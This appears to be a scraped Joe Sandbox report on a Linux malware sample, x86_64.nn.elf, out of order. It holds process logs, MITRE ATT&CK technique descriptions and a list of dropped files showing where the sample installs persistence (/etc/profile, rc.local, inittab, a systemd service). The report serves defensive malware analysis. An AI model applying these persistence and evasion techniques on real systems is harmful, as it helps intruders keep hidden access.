Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6430, Parent PID: 799

General

Start time (UTC):	03:22:58
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Chronological Activities

Analysis Process: udisksd PID: 6431, Parent PID: 799

General

Start time (UTC):	03:22:59
Start date (UTC):	13/12/2024
Path:	/usr/lib/udisks2/udisksd
Arguments:	-
File size:	483056 bytes
MD5 hash:	1d7ae439cc3d82fa6b127671ce037a24

Chronological Activities

Analysis Process: dumpe2fs PID: 6431, Parent PID: 799

General

Start time (UTC):	03:22:59
Start date (UTC):	13/12/2024
Path:	/usr/sbin/dumpe2fs
Arguments:	dumpe2fs -h /dev/dm-0
File size:	31112 bytes
MD5 hash:	5c66f7d8f7681a40562cf049ad4b72b4

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shell s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system ( `/etc` ) and the user’s home directory ( `~/` ) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user’s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Creation, File: File Modification, Process: Process Creation, Service: Service Creation, Service: Service Modification
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
Tactics:	Impact
Data Sources:	File: File Creation, File: File Deletion, File: File Metadata, File: File Modification, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86_64.nn.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/boot/bootcmd

/etc/init.d/sh

/etc/init.d/system

/etc/inittab

/etc/motd

/etc/profile

/etc/rc.local

/etc/systemd/system/custom.service

/memfd:snapd-env-generator (deleted)

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: x86_64.nn.elf PID: 6255, Parent PID: 6179

General

Chronological Activities

Analysis Process: x86_64.nn.elf PID: 6272, Parent PID: 6255

General

Chronological Activities

Analysis Process: sh PID: 6272, Parent PID: 6255

General

Linux Analysis Report
x86_64.nn.elf